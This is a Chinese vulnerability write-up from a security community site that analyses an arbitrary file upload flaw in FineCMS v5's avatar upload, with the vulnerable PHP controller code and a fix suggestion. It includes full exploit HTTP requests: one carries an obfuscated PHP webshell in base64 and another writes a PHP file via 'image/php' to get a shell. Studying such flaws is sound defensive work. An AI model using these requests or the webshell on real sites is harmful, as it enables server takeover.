关于finecms v5 会员头像 任意文件上传漏洞分析

技术 作者:i春秋 2017-08-30 07:14:23
看到我私藏的一个洞被别人提交到补天拿奖金,所以我干脆在社区这里分享,给大家学习下
本文原创作者:常威,本文属i春秋原创奖励计划,未经许可禁止转载!
1.定位功能 下载源码在本地搭建起来后,正常登陆了用户后,我们为用户上传头像的时候用burp抓包,看看这个请求动作的细节
POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 208
Accept: application/json, text/javascript, */*; q=0.01
Origin: [url]http://127.0.0.1[/url]
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: [url]http://127.0.0.1/index.php?s=member&c=account&m=avatar[/url]
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Cookie: member_uid=1; member_cookie=2db4367e75f3b482d301; 24b16fede9a67c9251d3e7c7161c83ac_ci_session=41petq3697gckar57c45r1trum84vn4h
Connection: close
 
tx=data%3Aimage%2Fjpeg%3Bbase64%2CPD9waHANCiRfPSIiOw0KJF9bKyIiXT0nJzsNCiRfPSIkXyIuIiI7DQokXz0oJF9bKyIiXXwiBiIpLigkX1srIiJdXiIEIikuKCRfWysiIl1eIhUiKTsNCg0KJHsnXycuJF99WydfJ10oJHsnXycuJF99WydfXyddKTsNCg0KDQo%3D
因为finecms是基于ci框架开发的,所以很容易就可以定位到相关的功能点,我们去看看源码吧。 2.审计代码 那我们根据路由规则到文件/finecms/dayrui/controllers/member/Account.php 看看upload这个功能点的代码
/**
     *  上传头像处理
     *  传入头像压缩包,解压到指定文件夹后删除非图片文件
     */
    public function upload() {
 
        // 创建图片存储文件夹
        $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
        @dr_dir_delete($dir);
        !is_dir($dir) && dr_mkdirs($dir);
 
        if ($_POST['tx']) {
            $file = str_replace(' ', '+', $_POST['tx']);
            if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
                $new_file = $dir.'0x0.'.$result[2];
                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                    exit(dr_json(0, '目录权限不足或磁盘已满'));
                } else {
                    $this->load->library('image_lib');
                    $config['create_thumb'] = TRUE;
                    $config['thumb_marker'] = '';
                    $config['maintain_ratio'] = FALSE;
                    $config['source_image'] = $new_file;
                    foreach (array(30, 45, 90, 180) as $a) {
                        $config['width'] = $config['height'] = $a;
                        $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                        $this->image_lib->initialize($config);
                        if (!$this->image_lib->resize()) {
                            exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                            break;
                        }
                    }
                    list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                    !$type && exit(dr_json(0, '图片字符串不规范'));
                }
            } else {
 
                exit(dr_json(0, '图片字符串不规范'));
            }
        } else {
            exit(dr_json(0, '图片不存在'));
        }
 
// 上传图片到服务器
        if (defined('UCSSO_API')) {
            $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
            !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
        }
 
 
        exit('1');
    }
 
}
代码里 使用 preg_match(‘/^(data:\s*image\/(\w+);base64,)/’, $file, $result) 对$_POST['tx']的内容进行正则匹配,匹配成功的话就生成文件名 然后 if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], ”, $file)))) { 把文件内容写进刚刚生成的文件名 文件名是 $new_file = $dir.’0×0.’.$result[2]; 其中 $dir = SYS_UPLOAD_PATH.’/member/’.$this->uid.’/'; 那么,各位看官看到这里就知道怎么利用了,没错,它的正则表达式存在问题,看这里 image\/(w+),如果我们提交的$_POST['tx']里改成image/php ,那么它就会生成php格式的文件,所以这里可以利用然后生成php文件。 3.构造利用 那我们的利用就很简单了,上传头像的时候使用burp进行抓包,把image/jpeg 改成image/php 即可getshell!!! 看一下我的burp拦截修改后的信息:
POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 67
Origin: [url]http://127.0.0.1[/url]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: [url]http://127.0.0.1/index.php?s=member&c=account&m=avatar[/url]
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Cookie: member_uid=1; member_cookie=2db4367e75f3b482d301; 24b16fede9a67c9251d3e7c7161c83ac_ci_session=41petq3697gckar57c45r1trum84vn4h
Connection: close
 
tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHANCiBwaHBpbmZvKCk7IA0KPz4%3D
forward之后,我们到成都的街头走一走。。。啊,什么鬼,呸!我们到网站目录的头像上传目录去看一看,发现成功写入php文件 访问http://127.0.0.1/uploadfile/member/1/0×0.php,执行成功  
小结
其实这个漏洞主要因为开发人员粗心造成的,这样的正则实在不该,最后应该有个白名单判断文件的后缀
参考资料
官方源码:http://git.oschina.net/dayrui/finecms

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接